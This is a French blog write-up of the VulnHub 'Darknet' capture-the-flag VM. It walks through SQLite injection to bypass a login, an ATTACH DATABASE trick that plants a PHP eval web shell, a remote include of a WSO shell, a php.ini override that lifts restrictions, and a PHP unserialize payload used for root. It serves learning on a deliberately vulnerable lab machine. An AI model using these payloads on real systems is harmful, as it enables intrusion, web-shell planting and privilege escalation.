Avertissement : j'explique dans cet article les méthodes que j'ai utilisées pour réaliser ce challenge - ne lisez donc pas ce qui suit si vous souhaitez le faire sans indice :-)
Un joli dimanche de juin avec un soleil radieux et je suis bloquée chez moi car d'astreinte pour un test PCA. Tout se passant plutôt bien excepté les quelques appels habituels d'utilisateurs paniqués ne trouvant pas le bon dossier ou la bonne procédure et ma <3 @nathplanteur <3 étant (une fois n'est pas coutume) de repos, je suis attirée par un tweet dans ma timeline concernant un challenge nommé #Darknet par @vulnhub.
Je n'ai jamais fait de challenge et j'ai toujours eu peur de m'y confronter mais cette fois-ci je me dis "pourquoi pas moi ?" et puis dans tous les cas j'ai cette envie d'écrire qui me reprend et cela me fera donc une bonne idée d'article.
Me voilà donc à télécharger cette VM #Darknet sur https://www.vulnhub.com/, tout en commençant à rédiger cet article "Mon tout premier challenge ever" et en me demandant jusqu'où cette histoire va aller..
Un dimanche ensoleillé
L'introduction à ce challenge que vous pouvez consulter sur le site de @vulnhub précise :
"Darknet has a bit of everything, a sauce with a touch of makeup and frustration that I hope will lead hours of fun for migraines and who dares to conquer his chambers. As the target gets used will read the file contents /root/flag.txt obviously once climbed the privileges necessary to accomplish the task. The image can be mounted with VirtualBox . The machine has DHCP active list so once automatically assign an IP network, the next step will be to identify the target and discover the / the service / s to start the game. Good luck !. If you want to send in pdf format solucionarios can do so at the following address: s3csignal [at] gmail [dot] com".
De ce que je comprend, je dois aller lire un fichier "/root/flag.txt" sur la VM en attaquant un ou plusieurs services.. Je ne sais pas pour vous mais pour cela m'a l'air d'un vaste programme..
Je me lance
Première étape, je scanne l'adresse IP avec mon scanner préféré et identifie deux ports TCP en écoute : un port 80 avec un serveur Apache/2.2.22 (<3 Debian <3) et un port 111 que je peux requêter pour constater que seul le service RPC 100024 "status" est actif (port 34520 en TCP).
Bienvenue dans le monde du Web. J'imagine que je vais trouver un problème au niveau du serveur Web et/ou de l'application qu'il héberge ? Je scanne donc ce serveur Web avec mes autres scanners préférés et découvre plusieurs urls qui me permettent de constater que la fonction "autoindexing" Apache est parfois active et que j'ai plusieurs pistes à arpenter :
/access/888.darknet.com.backup
/Classes/Show.php
/Classes/Test.php
Impasse sur les fichiers "Show.php" et "Test.php", tous deux génèrent une erreur 500 : soit je ne sais pas les interroger soit ce sont des leurres ? Le fichier "888.darknet.com.backup" est lui beaucoup plus prometteur :
<VirtualHost *:80>
ServerName 888.darknet.com
ServerAdmin devnull@darknet.com
DocumentRoot /home/devnull/public_html
ErrorLog /home/devnull/logs
</VirtualHost>
Il semble en effet me fournir une nouvelle piste sous la forme d'un VirtualHost Apache à interroger "888.darknet.com", d'un utilisateur "devnull" et d'un DocumentRoot "/home/devnull/public_html".
888.darknet.com
Je crois que je suis sur le bon chemin en voyant une nouvelle application apparaître avec un formulaire de connexion me demandant de saisir un nom d'utilisateur et un mot de passe.
Cette application repose sur PHP avec une version "5.4.39-0+deb7u1" (un tour sur le security-tracker de Debian m'apprend que la dernière version "5.4.39" est la "deb7u2" mais je ne vois pas spécialement de vulnérabilité à exploiter à ce niveau là), semble avoir été développée en espagnol et anglais (champs "Usuario" pour utilisateur et "Clave" pour mot de passe) et semble aussi gérer des sessions via un cookie "PHPSESSID".
Je commence par tenter quelques logins et mots de passe par défaut ou triviaux sur la base de l'utilisateur "devnull" sans succès.
Je lance mes scanners web préférés et trouve trois répertoires inutiles qui me rejettent avec une erreur 403 ("/img/" , "/includes/" , "/icons/").
Je lance mes scanners sql préférés sur le champ "username" et sur le champ "password" sans succès mais j'obtiens un indice par le biais d'un message d'erreur spécifique en fonction de certaines injections. Le message d'erreur n'est plus "Fail" comme précédemment mais "unrecognized token:" suivi d'une chaîne de caractère en MD5 qui correspond exactement à la valeur du paramètre "password" que je transmet.
Que faire maintenant ?
C'est l'histoire d'une injection SQL pour SQLite
Je recommence manuellement :
- username=a&password=a -> Fail
- username='&password=a -> unrecognized token: "0cc175b9c0f1b6a831c399e269772661"
- username=''&password=a -> Fail
- username=' &password=a -> near "' and pass='": syntax error
- username=' '&password=a -> near "''": syntax error
- username=' aaa &password=a -> near "aaa": syntax error
- username=' and &password=a -> Ilegal
- username=' or &password=a -> unrecognized token: "0cc175b9c0f1b6a831c399e269772661"
- username=' or '&password=a -> Fail
- username=' or 'a'='a -> Ilegal
- useranme=' or 'a -> Fail
- username=' union &password=a -> near "' and pass='": syntax error
- username=' select &password=a -> Ilegal
- username=' ; &password=a -> Ilegal
Les quelques tests supplémentaires me permettent donc de constater :
- Les deux champs "username" et "password" doivent tous deux être fournis ;
- Le champ "username" peut être employé pour générer des messages d'erreur SQL semblant présager qu'une injection SQL est possible ;
- Une liste noire et/ou une liste blanche est active et interdit certains caractères et certains mots clé.
Forte de ces informations, je tente à nouveau d'utiliser mon scanner sql préféré à plusieurs reprises mais sans succès. Je me résout donc à aller consulter mon moteur de recherche préféré (ou pas) et constate que le message d'erreur "unrecognized token" a une forte probabilité d'être généré par un moteur SQLite.
Après une bonne demi-heure à chercher comment réaliser des injections SQL sur SQLite, je me retrouve avec plusieurs articles dont j'essaie tant bien que mal de saisir la substantifique moelle (un grand merci aux deux auteurs) :
Je recommence donc manuellement avec l'objectif premier d'éviter d'utiliser ce qui m'est interdit en me basant sur le message d'erreur "Ilegal" (select, and, - ; < > , =) :
- username=' or &password=a -> unrecognized token: "0cc175b9c0f1b6a831c399e269772661"
- username=' # &password=a -> unrecognized token: "#"
- username=' or a or 'a &password=a -> no such column: a
- username=' or pass or 'a &password=a -> Fail
Partons du principe que la requête SQL est de type SELECT .. WHERE username='' and pass='' et que je peux injecter certains caractères dans "username". Ne connaissant pas le nom de l'utilisateur et la condition "or" étant autorisée je pars sur l'idée d'injecter une condition "or" sur la colonne "pass" avec un mot de passe quelconque ?
N'ayant aucune idée de comment procéder, je me plonge dans ce que je trouve de documentation SQLite et d'injections SQL et je constate que je peux utiliser le mot clé "like" associé aux caractères wildcard "%" ou "_" (http://www.tutorialspoint.com/sqlite/sqlite_like_clause.htm) pour construire une injection et après plusieurs tentatives (de a à z puis de 0 à 3 pour ceux qui suivent en détail :-p), j'obtiens le résultat tant désiré :
- username=' or pass like '%' or 'a -> Fail
- username=' or pass like '3%' or 'a -> 302 Moved Temporarily
Enfin! J'ai donc une redirection vers un fichier "main.php" avec un cookie (date d'expiration "19 Nov 1981", joyeux anniversaire à toi avec un peu d'avance!). J'ouvre donc mon navigateur et tente le fameux sesame sans succès :-(
Essayant tant bien que mal d'utiliser cette injection en ligne de commande ou avec mon navigateur et au détour d'un échange Twitter avec @qusaialhaddad et @_RastaMouse (merci à vous deux !), j'apprend qu'il y a un "bug" pour ce niveau et que mes nombreux scans ont du saturer l'espace de stockage de la VM réservé aux sessions PHP ..
Quoi faire maintenant ? réinstaller la VM ? tenter de contourner le problème ? Dormir ? dormir !
ma soirée du lundi
Le casque vissé sur les oreilles et "Crazy in love" de Queen B en boucle, je tente de contourner le problème qui m'est posé. Je sais donc que je peux énumérer les colonnes d'une table d'une part et énumérer ensuite les valeurs des colonnes d'autre part grâce au code 302, je continue donc mes requêtes manuelles (note pour plus tard : apprendre sérieusement un langage de script) :
- la table est composée d'une colonne "id", d'une colonne "pass" et d'une colonne "usuario" (déception, l'indice est littéralement hurlé par la page d'accueil et j'ai passé plusieurs dizaines de minutes à chercher pourquoi la colonne "username" n'existait pas) ;
- username=' or id like '1' or 'a : La table semble contenir deux utilisateurs (id=1 et id=2) ;
- username=' or usuario like 'devnull' or 'a : les deux utilisateurs sont (devnull et errorlevel) (quelle déception à nouveau le nom de l'utilisateur était donné dans la configuration du VirtualHost et je suis complètement passée à côté :-( ) ;
- username=' or pass like '36%' or 'a : les deux mots de passe MD5 ne sont pas cassés sur mon moteur de recherche préféré.
J'ai maintenant deux utilisateurs (mais aucun nouveau VirtualHost "errorlevel.darknet.com" semble-t-il) et deux mots de passe à casser dont j'imagine qu'ils sont complexes.. Dois je vraiment m'obstiner sur cette piste ? Non je ne pense pas. Je réinstalle la VM comme me l'a conseillé @_RastaMouse et tente mon login sesame : " ' or pass like '3%' or 'a " avec le mot de passe "a" et me voilà connectée à l'application ! Champagne !
Une fenêtre "Administrador SQL" s'affiche avec un formulaire me proposant d’exécuter du code SQL mais aucun retour ne semble renvoyé par l'application. Qu'à cela ne tienne, j'ai bien envie de tenter ma chance avec le "Getting Shell Trick 1 - ATTACH DATABASE" documenté sur http://atta.cked.me/home/sqlite3injectioncheatsheet et que j'ai bien du lire une bonne centaine de fois dans les dernières 48 heures.
Bon il va me falloir faire plusieurs tests au préalable. Déjà installer une VM de test puis une base SQLite et trouver un code PHP de type backdoor.
Je sais déjà que je pourrais tenter de déposer mon code PHP dans "/home/devnull/public_html/" (en esperant que "888.darknet.com.backup" ne soit pas un leurre) ou dans l'un de ses sous-répertoires "/img/" , "/includes/" , "/icons/".
Mais d'abord dormir quelques heures me semble une très bonne idée.
Le mardi c'est Patch Tuesday
Et la vie est une question de priorité comme le dit si bien la publicité.
Le mercredi on sésame ouvre toi
Ce soir je sais vraiment quoi faire et me reconnecte donc avec mon sésame puis je saisis ma commande SQL :
attach database '/home/devnull/public_html/backdoor.php' as backdoor;
J'essaie ensuite d'accéder à ma backdoor via "http://888.darknet.com/backdoor.php" et reçoit la fatidique erreur 404.. Ca commence mal.. je recommence :
attach database '/home/devnull/public_html/img/backdoor.php' as backdoor;
A nouveau j'essaie avec "http://888.darknet.com/img/backdoor.php" et là .. code 200 :-) Je joue donc ma requête complète :
attach database '/home/devnull/public_html/img/backdoor.php' as backdoor; create table backdoor.tbl (cmd TEXT); insert into backdoor.tbl (cmd) values ("<?php $_REQUEST[e] ? eval( $_REQUEST[e] ) : exit; ?>");
et je croise les doigts très fort à nouveau avant de saisir une commande de base pour ma backdoor : "http://888.darknet.com/img/backdoor.php?e=phpinfo();" et .. et ca marche !! Je suis .. totalement epoustouflée .. j'ai envie de danser ..
Il me faut maintenant envoyer un shell un peu plus complet sur le système. Or l'analyse des résultats fournis précédemnt par "phpinfo()" me permet de constater que les directives "allow_url_fopen" et "allow_url_include" sont à "on" et que je dois donc pouvoir réaliser une Remote File Injection ?
Allons y donc gaiement pour une RFI. Je cherche la première backdoor qui me vient sur Github et trouve un code WSO qui rappellera des souvenirs à certains :-) et je tente ma RFI "http://888.darknet.com/img/backdoor.php?e=include("URL_ DU_ SHELL_ WSO_ QUE_ JE_ VOUS_ LAISSE_ CHERCHER");" .. ce qui me permet de constater que mon hypothèse de RFI était correcte et que je peux donc désormais uploader ma backdoor WSO localement afin d'obtenir mon accès "http://888.darknet.com/img/wso.php" :)
_mon_ premier shell WSO
C'est le mien.. C'est _mon_ premier shell WSO et je suis l'attaquante (sentiment tout à fait étrange et dérangeant que je ne saurais expliquer) et maintenant que j'ai un shell j'ai le sentiment que tout est à refaire. Allons y. Je constate tout d'abord qu'un grand nombre de fonctions PHP "sensibles" sont désactivées et que la directive "open_basedir" restreint mon shell aux répertoires : "/etc/apache2", "/home/devnull" et "/tmp".
Je passe à la configuration Apache présente dans "/etc/apache2" et je vois que :
- la configuration par défaut (adresse IP) pointe vers "/var/www/" pour lequel je n'ai pas les droits d'accès avec ma backdoor WSO ;
- la configuration "888.darknet.com" est bien celle qui nous avait permis de passer l'une des étapes initiales via le fichier "888.darknet.com.backup" ;
- une nouvelle configuration "signal8.darknet.com" nous est révélée pour un répertoire sur lequel je n'ai pas accès avec la backdoor WSO :
<VirtualHost *:80> ServerName signal8.darknet.com
ServerAdmin errorlevel@darknet.com
DocumentRoot /home/errorlevel/public_html
<Directory /home/errorlevel/public_html>
AllowOverride All
</Directory>
</VirtualHost>
Alors là, passer de l'utilisateur "errorlevel" que j'avais trouvé pendant l'exploitation de l'injection sql au nom de domaine "signal8.darknet.com" me semble impossible .. je n'aurais jamais trouvé.
L'analyse des droits d'accès sur "/home/devnull" me permet aussi de voir que j'ai eu de la chance de trouver le répertoire "img" pour envoyer mon code PHP car il s'agit du seul répertoire accessible en écriture et que sans ce répertoire j'étais condamnée à tenter d'écraser le fichier "index.php" ou le fichier "main.php" ..
[Interlude : je lis de la documentation sur PHP :-)]
Et après quelques heures à lire de la documentation sur toutes ces fonctions désactivées qui me gènent, le premier test que j'ai envie de faire est tout simplement d'uploader le fichier "php.ini" suivant dans le répertoire "/home/devnull/public_html/img/" puis de recharger ma backdoor WSO .. Apparement, la générale de PHP pourraît être surchargée par cette déclaration locale et je pourrais être en mesure de récupérer un shell plus "complet" :
safe_mode=OFF
disable_functions=NONE
safe_mode_gid=OFF
open_basedir=OFF
Je teste. Et il s'avère que c'était la bonne solution, la fonctionnalité "Server Security Information" de ma backdoor WSO est désormais totalement opérationnelle et ceci sans restrictions open_basedir :)
_mon_ premier shell WSO (reloaded)
Maintenant que mon shell n'est plus restreint, que puis-je faire pour aller obtenir le contenu du fichier "/root/flag.txt" ? Utilisons un peu les fonctions offertes par notre backdoor WSO pour nous promener sur le système :
- le répertoire "/root/" m'est interdit ;
- le répertoire "/home/errorlevel/" m'est interdit ;
- je ne vois à priori pas de fichier suid ou sgid anormaux au premier coup d'oeil et qui me seraient accessibles ;
- Ho ho ho, dans la liste des fichiers/répertoires accessibles en écriture pour mon utilisateur se trouve le fichiers "suphp.conf" !
46461 4 -rwxrwxrwx 1 root root 869 Apr 26 13:24 /etc/suphp/suphp.conf
et après avoir lu plusieurs fois la documentation située sur http://www.suphp.org/DocumentationView.html?file=CONFIG, je comprend qu'il me faudrait un programme :
- dont le propriétaire serait root ;
- qui serait situé dans l'un des DocumentRoot servi par mon serveur web.
.. et que j'ai intérêt à modifier de suite la configuration "suphp.conf" pour que "min_uid" et "min_gid" soient égales à 0 pour ne pas avoir chercher plus tard pourquoi ce que je souhaite faire ne fonctionne pas.
Me voilà donc partie à la recherche d'un script PHP dont le propriétaire serait l'utilisateur root, script que je trouve (comme par hasard :-p) à l'emplacement "/var/www/sec.php" et qui fait appel aux deux ressources que j'avais trouvées initialement dans le répertoire "/Classes/" sans avoir compris comment les utiliser :
/var/www/classes/Show.php
/var/www/classes/Test.php
Le fichier "/var/www/sec.php" appartenant à l'utilisateur root semble présenter une vulnérabilité me permettant du code sous mon contrôle à l'appel "unserialize" :
<?php
require "Classes/Test.php";
require "Classes/Show.php";
if(!empty($_POST['test'])){
$d=$_POST['test'];
$j=unserialize($d);
echo $j;
}
?>
Le fichier de classe "/var/www/classes/Show.php" chargé par le script "sec.php" ne me semble pas présenter de vulnérabilité :
<?php
class Show {
public $woot;
function __toString(){ return "Showme"; }
function Pwnme(){$this->woot="ROOT"; }
}
?>
Le fichier de classe "/var/www/classes/Test.php" chargé par le script "sec.php" me semble lui le fichier concerné par l'exploitation de la vulnérabilité de dé-sérialization (cela se dit vraiment ?) :
<?php
class Test {
public $url;
public $name_file;
public $path;
function __destruct(){
$data=file_get_contents($this->url);
$f=fopen($this->path."/".$this->name_file, "w");
fwrite($f, $data);
fclose($f);
chmod($this->path."/".$this->name_file, 0644);
}
}
?>
.. et devant tant de nouveaux horizons à conquérir, je ferme le pc, écoute ma nath chérie et vais dormir :-)
Jeudi on unserialize
Bach Orchestral suite numéro 3. Je pense que le contexte l'impose. Je sais déjà que laisser à l'utilisateur la capacité de faire un unserialize d'une variable sous son contrôle sans filtrage n'est pas une bonne idée.. mais comment exploiter ce type de vulnérabilité ?
Je cherche sur mon moteur de recherche préféré (ou toujours pas) et lis avec attention la page de l'OWASP sur le sujet (https://www.owasp.org/index.php/PHP_Object_Injection) qui semble traiter exactement de la vulnérabilité qui m'interesse et qui dans mon cas pourrait se résumer à :
- j'ai un "__destruct()" qui va me permettre de donner l'url d'un fichier dont le contenu va être sauvegardé dans un fichier avec les permissions "644" et le tout sans aucun contrôle ;
- je peux envoyer des données en POST dans une variable "test" qui va faire l'objet d'un "unserialize()" ;
- le script "/var/www/sec.php" va être executé en tant que "root" par suphp car il appartient à "root" ;
- l'exploitation de la vulnérabilité va me permettre d'écrire un script sous l'identité de "root" donc il faut que j'écrive mon fichier dans "/var/www/" ;
- si j'écris un shell sous le propriétaire "root" et que je l'appelle, "suphp" me donnera un shell "root" ;
Bon cela me parait crystal clear comme dirait Nath :-) mais sur le coup j'ai vraiment l'impression de louper quelque chose car je ne comprend pas du tout à quoi peut me servir le fichier "Show.php".
Allons-y .. Si je comprends bien l'article de l'OWASP, je dois construire une requête du type :
?test=O:4:"Test":3:{code}
avec "code" qui me permet fixer trois variables : "url", "name_file" et "path"en spécifiant les valeurs suivantes :
s:4:"path";s:8:"/var/www";
s:9:"name_file";s:8:"root.php";
s:3:"url";s:37:"/home/devnull/public_html/img/wso.php"
donc ma requête devrait être :
http://Adresse_IP_VM/sec.php?test=O:4:"Test":3:{s:4:"path";s:8:"/var/www";s:9:"name_file";s:8:"root.php";s:3:"url";s:37:"/home/devnull/public_html/img/wso.php"}
non ?
Allez je me lance ..
et ca ne marche pas ..
bon qu'est ce qui cloche ?
10 minutes d'intense réflexion ..
Ha oui ! il faut que j'envoie cette requête en POST et pas en GET tete de linotte que je suis ..
nc Adresse_IP_VM 80
POST /sec.php HTTP/1.0
Host: Adresse_IP_VM
Content-Length: 131
Content-type: application/x-www-form-urlencoded
Connection: Close
test=O:4:"Test":3:{s:4:"path";s:8:"/var/www";s:9:"name_file";s:8:"root.php";s:3:"url";s:37:"/home/devnull/public_html/img/wso.php"}
HTTP/1.1 200 OK
Date: Thu, 11 Jun 2015 11:40:12 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.39-0+deb7u1
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html
Pas de message d'erreur ? Game Over :-)
Conclusion
En conclusion j'ai adoré ce premier challenge. Comme l'avaient prévu le ou les auteurs, la frustration, la déception ou la surprise de ne pas être la hauteur, la recherche intensive d'information sur des sujets totalement inconnus, l'excitation d'avoir le clé d'une enigme et cette envie de chanter et de danser quand "ca marche" tout simplement.
Il m'aura fallu trois longues nuits, deux demi journées et une bonne vingtaine de café-versations pour parvenir à résoudre ce challenge mais en même temps :
Y a que les routes qui sont belles
Et peu importe où elles nous mènent
Oh belle, on ira, on suivra les étoiles et les chercheurs d'or
Si on en trouve, on cherchera encore
(Jean-Jacques Goldman - On ira)
Jess - @JessicaGallante
Aucun commentaire:
Enregistrer un commentaire
Votre avis ?